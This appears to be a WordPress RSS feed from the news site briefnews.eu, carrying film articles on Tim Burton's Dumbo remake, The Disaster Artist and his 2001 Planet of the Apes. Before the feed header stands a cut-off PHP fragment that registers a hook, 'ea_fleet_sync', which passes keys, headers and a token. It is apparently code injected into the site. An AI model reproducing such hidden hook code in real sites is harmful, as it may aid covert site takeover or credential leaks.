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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Burton’s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 15 Nov 2018 11:52:42 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Burton’s – Brief News https://briefnews.eu 32 32 ‘Dumbo’ Trailer: Tim Burton’s Live-Action Remake Soars https://briefnews.eu/dumbo-trailer-tim-burtons-live-action-remake-soars/ https://briefnews.eu/dumbo-trailer-tim-burtons-live-action-remake-soars/#respond Thu, 15 Nov 2018 11:52:42 +0000 http://briefnews.eu/dumbo-trailer-tim-burtons-live-action-remake-soars/ dumbo trailer

Before the buzzy Aladdin and Mulan remakes make their way to theaters, there is Tim Burton‘s Dumbo, the live-action remake of the 1941 animated film that emotionally scarred all of us as children. Despite rocking a star-studded cast including Colin Farrell, Danny Devito, Michael Keaton, and Eva Green, it feels like Dumbo has fallen by the wayside when it comes to the Disney live-action remake train. But the new Dumbo trailer is here to remind you that this movie is coming out, and that we’ll get to see Farrell in at least one upcoming big-budget fantasy movie.

Dumbo Trailer

The live-action Dumbo reimagines the tale of the big-eared elephant into a story of a single father (Colin Farrell) and his two children who work at a traveling circus run by Max Medici (Danny Devito, keeping his wardrobe from Big Fish). The family bonds with the circus’ newest addition, a shy young elephant named Dumbo that is soon discovered to have the unique ability of flight. His amazing talents garners the attention of the greedy entrepreneur V.A. Vandevere (Michael Keaton, doing his best P.T. Barnum).

Directed by Burton from a script by Ehren Kruger (Ophelia, Dream House), Dumbo also stars Eva Green, Alan Arkin, and Finley Hobbins.

Here is the official synopsis for Dumbo:

From Disney and visionary director Tim Burton, the all-new grand live-action adventure “Dumbo” expands on the beloved classic story where differences are celebrated, family is cherished and dreams take flight. Circus owner Max Medici (Danny DeVito) enlists former star Holt Farrier (Colin Farrell) and his children Milly (Nico Parker) and Joe (Finley Hobbins) to care for a newborn elephant whose oversized ears make him a laughingstock in an already struggling circus. But when they discover that Dumbo can fly, the circus makes an incredible comeback, attracting persuasive entrepreneur V.A. Vandevere (Michael Keaton), who recruits the peculiar pachyderm for his newest, larger-than-life entertainment venture, Dreamland. Dumbo soars to new heights alongside a charming and spectacular aerial artist, Colette Marchant (Eva Green), until Holt learns that beneath its shiny veneer, Dreamland is full of dark secrets.

Dumbo soars into theaters on March 29, 2019.

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Ed Wood and the Tim Burton film that bears his name were years before their time. The director who’s known now as one of the worst filmmakers ever (if not the worst) only gained that dubious status via the truly esteemed Golden Turkey Awards, two years after his death in 1978. He was immortalized in Burton’s best film, the 1994 biopic Ed Wood, which documented Wood’s ascent (or descent, if you like) into becoming a director while allying himself with unlikely friend Bela Lugosi, the once-fearsome Dracula actor, in the final years of his life. Now, cults surround movies of poor quality like moths to a flame; back in the 1950s, Wood wasn’t able to amass a larger fanbase.

In the 21st century, we do not have Ed Wood, a huckster of a filmmaker who used every means possible to make his often baffling, terribly acted films with meager budgets. The closest analogue is Tommy Wiseau, the writer/producer/director/star of 2003’s The Room, a cult film whose appeal may be hard to describe if you haven’t already experienced its odd, antagonistic charms. For the last few years, Wiseau has received the same kind of cultish treatment Wood only received in death. Wiseau is thought of as one of the worst filmmakers ever, and a large cult has sprung up around The Room, having inspired a book called The Disaster Artist, which has now led to the film of the same name, directed by and starring James Franco in the role of the mysterious, maddening filmmaker himself.

Tommy Wiseau’s origins are a mystery to his best friend, Greg Sestero (who wrote the book, and is played in the film by Dave Franco, James’ brother), as depicted throughout the film. The three key questions about Tommy that Greg and others ask — how old is he? Where is he really from? And how does he have the funds to pay for a multi-million-dollar independent film production? — remain a mystery. Greg and the rest of the cast and crew of The Room can guess at answers for the first two questions, but the last one remains an inexplicable mystery. (The film’s script supervisor, played by Seth Rogen, is shocked when he successfully deposits one of Wiseau’s checks at the bank, confidentially told by the teller that Wiseau’s account is “a bottomless pit.”) While the making of The Room serves as the meat of the story — The Disaster Artist is largely a very good film, and the second-act sequences in which we see how this very bad sausage was made are its high points — the core of the story is the manipulative, co-dependent relationship between Wiseau and Sestero.

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In this respect, The Disaster Artist feels like a refracted mirror image of Ed Wood. In the latter film, Wood idolizes Lugosi (Martin Landau, in an Oscar-winning performance) for his older work in iconic horror films of the 1930s, and is thus taken aback to learn that his hero is a morphine user whose addiction spirals out so much that he eventually suffers through massive withdrawal in a local rehab center. Yet Wood, as much as he wants to help Lugosi, also wants to use him, the older man’s presence often being enough to bankroll and promote films like Glen or Glenda? and Plan 9 From Outer Space. He respects Lugosi enough to write him intense monologues that befit the legendary figure’s outsized talents, but he’s still using the horror star for his own ends, just as Lugosi seems to briefly thrive on Wood’s passionate fandom.

Neither Tommy Wiseau nor Greg Sestero, when we meet them in a San Francisco acting class in 1998, are quite as driven as Wood or Lugosi. The 19-year old Sestero wants badly to be an actor, but wilts under the spotlight, and thus instantly admires Wiseau (who, every time Greg asks his age, says “I’m your age”) for his unadulterated passion and willingness to dive headlong into any acting exercise. The two bond further over acting and their shared desire to be stars, even though Wiseau’s awareness of other actors or films seems…vague, at best. (Within the context of the film, Sestero introduces Wiseau to James Dean, over 40 years after Rebel Without a Cause.) Soon, Sestero gives Wiseau the idea to make a movie on his own  the former because he doesn’t pop next to other young male actors, the latter because…well, he’s Tommy Wiseau.

For the uninitiated, both in real life and in Franco’s very funny performance, Tommy Wiseau is a long-haired man who prefers to wear sunglasses and has an indeterminate but prominent Eastern European-sounding accent that results in very broken English. (In one audition, when Wiseau is encouraged to “lose the accent,” he clips each word he says even further, making the entire thing incomprehensible.) Thus, it’s not exactly surprising that Wiseau struggled to get a career or become a star; that would be true even if he wasn’t abrasive, alienating, and selfish. Within the context of the film, there is a sense that him making The Room is meant as a middle finger to the Hollywood establishment, which refuses to allow him to pursue his craft. (One of the film’s many cameos comes courtesy of comedy impresario Judd Apatow, who firmly tells Tommy that he won’t become famous, “not in a million years, not after a million years.”)

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Yet it is hard to watch The Disaster Artist and not see it as a depiction of two lost souls who seem to thrive when they succeed or fail together. While Greg isn’t much more successful than Tommy, his generic good looks allow him to get an agent and begin a relationship with a friendly and seemingly supportive bartender (Alison Brie). Once that relationship begins, Wiseau’s envy rears its ugly head; he berates Greg, and on the set of The Room, he begins belittling the lead actress (Ari Graynor) in the middle of a tawdry sex scene. (Even here, the movie manages to make light of Wiseau’s ineptitude, as he struggles to…aim correctly when lying on top of his scene partner.) In these moments, and others, Greg pushes back against Wiseau, but he’s never able to fully remove himself from his friend’s spider-web-like grasp.

Depending on how you approach the film, the final crawl of The Disaster Artist is either defiant or depressing. The wrap-up details what fans of The Room may already know: the movie premiered at a single theater in Los Angeles in the summer of 2003, as Wiseau wanted it to be included for Oscars consideration. Only in the months and years that followed did the film gain a dedicated audience, who embraced the film for its inherent, laughable badness, from its obvious and inexplicable green-screen effects (The Room is a romantic drama that doesn’t require any special effects), to its bad acting to its unresolved subplots. As the ending crawl notes, Wiseau and Sestero remain friends and talk to each other every day. And they’re best known for The Room.

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Tim Burton is currently shooting another live-action remake for Disney: Dumbo. Production began almost a month ago with Colin Farrell, Eva Green, Danny DeVito and Michael Keaton confirmed to star, and now Academy Award winner Alan Arkin (Argo, Litle Miss Sunshine) has joined the impressive cast.

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Variety learned Arkin is heading to London to shoot the film. The outlet doesn’t have many details on Arkin’s supporting character, but he’ll play a Wall Street tycoon named J. Griffin Remington. It’ll mark the second time Arkin has worked with Tim Burton after co-starring in Edward Scissorhands. He brought a lot of laughs to that film, and perhaps the Glengarry Glen Ross star will do the same for Dumbo. It’s easy to imagine the actor, with his distinct deliveries and talent, being hilarious as a Wall Street tycoon, especially if Burton has play it a little more broadly. Arkin has a great gift for playing great, huge personalities.

Screenwriter Ehren Kruger‘s (the Transformers sequels) version of Dumbo is about Holt Farrier (Farrell) and his children’s bond with the special elephant. Farrier was once a star in the circus, but after he returns home from the war, circus owner Max Medici (DeVito) gives him the task of watching over the ridiculed Dumbo. After it becomes known Dumbo has the power of flight, the kind-hearted animal catches the attention of the villainous V.A. Vandevere (Keaton). The entrepreneur and an aerial artist, Colette Marchant (Green), want to take Dumbo and turn him into a star.

At D23 this summer, Disney unveiled some concept art from the movie. Out editor-in-chief Peter Sciretta said “the art is colorful and fantastical, very much in line with the aesthetic established by his Alice in Wonderland movie.” The aesthetic of the first wildly successful Disney reimagining was distancing. Based on the box-office receipts, millions of people happily jumped right into that CG-heavy world, but I thought the world and style were cold and, worst of all, almost exactly what would be expected from a Tim Burton Alice in Wonderland movie. I’m a bigger fan of the Burton who can surprise us and create new, imaginative worlds only he could envision. Maybe he’ll pull that off with Dumbo since it seems he’s telling a whole new story with only a handful of familiar elements from the original movie.

There are some exciting elements of this particular Disney reimagining, most notably Keaton, DeVito, and Green all working with Burton again. The director just knows how to get fun performances out of those actors. Burton and Keaton especially have created work together that’s still standing the test of time and my fingers are crossed that they can do the same with Dumbo.

Dumbo opens in theaters March 29, 2019.

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War for the Planet of the Apes has already received rave reviews, with many critics calling it the last great chapter in one of the best film trilogies of modern times. With so much goodwill, it almost makes fans forget about the dark point in history when it seemed like the Apes franchise was dead.

Tim Burton’s 2001 Planet of the Apes reboot effectively killed the franchise for several years. The effect of the film was such that many though Rise of the Planet of the Apes would be a huge flop as it was being made. It was unclear if the audience appetite for talking apes had recovered since 2001. Thankfully, the gamble that was Rise worked.

But why did Burton’s Apes fall so hard? It had everything going for it on paper. What made it fail so spectacularly? The simple answer is that it tried to outsmart the original Apes film franchise. It seemed to assume that just because the original franchise was old, it was outdated and needed a completely new revision to make it “fresh” and “relatable.” However, there was nothing relatable about ape characters the audience could have cared less about, and human characters who were more annoying than sympathetic.

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Talking Humans

The biggest mistake in Burton’s Apes is that, for whatever reason, he put the focus squarely on the humans. Talking humans. The big selling point of the Apes films, however, aren’t the humans at all.

If Burton was a scholar of Apes movie canon, he would know that 1970’s Beneath the Planet of the Apes is one of the two worst films out of the entire original Apes saga. That film is weird for a lot of reasons, including having another actor, David Watson, play Roddy McDowall’s Cornelius and that the film is led by Brent (James Franciscus), who was originally cast as Charlton Heston’s replacement (even though Heston’s Taylor does show up in the film). But the weirdest part of the film is that there is a community of reclusive, underground humans who survived the nuclear fallout. They can still talk and, for the most part, function like regular humans, but the big reveal is that they can take off their skin to reveal their true, nuked-out forms.

These humans — and the reveal of their mutant forms — is supposed to give the audience the same jump scare the sight of apes on horseback gave audience members in the first movie. But what the introduction of the humans does is actually take away focus from the main point of the films, which is to show a world in which apes have upended man — through man’s own folly — in the quest for world dominance. Having talking humans takes away from the symbolism inherent in the animalistic, non-talking humans that populate the world above ground. These new human characters also take focus away from the main ape characters, whom people came to see. What’s the point of going to an Apes sequel if we’re going to be following the humans around?

Burton’s Apes does the same thing. Instead of focusing solely on the apes, the apes are instead treated like special effects instead of well-rounded characters. Most of the characterization is extended towards the humans, who, while captive like the humans from the original Apes films, aren’t the animals we were expecting. They’re talking humans like you and me, who were captured from their communities in the wilderness by apes to become servants to the ape upper class.

Perhaps Burton thought this decision would make the humans more endearing, which would make the audience more invested. But again, the title of the film is Planet of the Apes. People don’t want to see a film full of talking humans as the main characters if the film is supposed to be about a world of talking apes.

So, you might be asking, why do talking humans work well in these new Planet of the Apes movies? Well, it’s because we have an expectation to see humans that act like us since the planet of apes is just beginning. Emotionally, the humans work in the new films because you see them grappling with their impending demise. The death throes against an existential void are what make these human characters compelling and, in many ways, just as disturbing as the apes. However, the humans in the 2001 film don’t have such an arc. Even though they’ve never lived in a time in which humans were at the top, they are still portrayed as having a tacit knowledge of human superiority that doesn’t make sense. They’re just confounding characters as a whole, and Burton would have done well to get rid of them.

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Lack of Focus on the Real Story

The focus on talking humans is only one element of Burton taking his eye off the ball. Overall, his Planet of the Apes misses the political and social points the original franchise made in each movie, even the bad ones. While the original story by Pierre Boulle was more of a writing exercise than a social and political allegory, Planet of the Apes successfully utilized the turmoil of the ‘60s as fodder for relevant discussion. In the vein of the great sci-fi stories, Planet of the Apes and its sequels made unique commentary on the human experience, touching on the McCarthy Trials, the Cold War, and the fear of communism, the civil rights movement, the Vietnam War and youth anti-war protests, the Black Power movement, and the ethics debate around nuclear arms.

Probably the most blatant the Apes franchise has ever been about a political message, in particular its message about racial tensions, was in Conquest of the Planet of the Apes, when Caesar (McDowall) tells MacDonald (Hari Rhodes), a black man working under the ape-hating governor Breck (Don Murray), that he of all people should understand why Caesar wants to secure freedom for his people. It’s a line that is shocking in its self-awareness. If you were in the audience and didn’t know what kind of movie you were seeing, Caesar laid it out for you.

Today’s Apes franchise continues that tradition of social and political commentary. Despite getting in minor trouble over picturing Caesar with a raised “Black Power”-esque fist on one of the posters for Rise of the Planet of the Apes, the franchise has deftly covered similar themes of power and subjugation, with its most transparent moment occurring in Dawn of the Planet of the Apes, when Koba (Toby Kebbell) says Caesar loves humans more than apes. Koba’s basically calling Caesar an “Uncle Tom,” a term a black person uses to insult another black person they think has ventured into the Sunken Place of wanting to be accepted and nurtured by mainstream white culture.

The new Apes franchise has also tackled animal rights and the ethics of animal testing, the possible outcomes of science without oversight, and the question of what makes us human. Ultimately, the film posits that despite not being of human origin, Caesar is probably the most human of all.

However, Burton’s Apes fails to deliver any message. Even its own plot — helping the humans escape their bonds and journey to freedom — becomes convoluted in a strange love triangle between Capt. Leo Davidson (Mark Whalberg), human-sympathizing ape Ari (Helena Bonham Carter), and human Daena (Estella Warren), as well as a huge set piece ending involving the movie’s villain Thade (Tim Roth) believing Whalberg’s monkey astronaut companion was the second coming of their ape god. What does Burton’s film tell us about the world at large? Nothing. At most, Burton’s Apes is just a big excuse to do stellar ape makeup. At worst, it’s an attempt to try and outdo the original Apes, to fix something that wasn’t ever broken. By trying to show the original Apes “how it’s done,” as it were, Burton’s Apes film played itself.

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Will Smith recently passed on Dumbo. Tim Burton‘s film, which keeps moving closer to production, still doesn’t have any actors attached. While we wait to learn whether Tom Hanks will play the live-action remake’s villain, it’s being reported that Eva Green (Penny Dreadful) is now in talks for one of the lead roles.

Below, learn more about the Eva Green Dumbo casting.

Deadline writes that Green may star in Burton’s reimagining of the 1941 Disney classic. There are three main adult roles in the film, and one of them, the lead female role, might go to Green. The actress is becoming popular in the world of Tim Burton. She brought some much-needed life to Dark Shadows, and last year she played the lovely Miss Peregrine in Burton’s playful, dark, and sweet, albeit uneven, adaptation of Miss Peregrine’s Home for Peculiar Children.

Burton and Disney are still on the lookout for an actor to play the role of the father. There aren’t many known plot details for Burton’s Dumbo, which is a mix of CG and live-action, but the story will follow a father whose children develop a close bond with the adorable elephant. Most recently, Chris Pine (Star Trek Beyond) was in the running for the starring role. A deal for him to star fell through, though.

We’ve heard before that the film “will add a unique family story that parallels Dumbo’s journey” and “expands and deepen the circus aspect of the story,” but we also still don’t know anything about the villain Hanks is considering playing. Screenwriter Ehren Kruger is clearly inventing quite a few roles to bring the story of Dumbo to live-action. Kruger, who wrote The Ring remake and worked on the Transformers sequels, is producing the film alongside Justin Springer (Tron: Legacy).

Last year we saw the last of Green on Penny Dreadful, a beautiful and exciting drama that came to an abrupt close. She did some remarkable work on John Logan’s series, making Vanessa Ives the heart of that show’s family. Weirdly, Green’s performance — which was often heartbreaking, vulnerable, and even terrifying — was only nominated once at the Golden Globes. Years before her time on the Showtime series, she gave exceptional performances in Casino Royale, Perfect Sense, The Salvation, Dreamers, and the Director’s Cut of Kingdom of Heaven. We’ll see Green next in Roman Polanski’s Based on a True Story and Lisa Langseth’s Euphoria.

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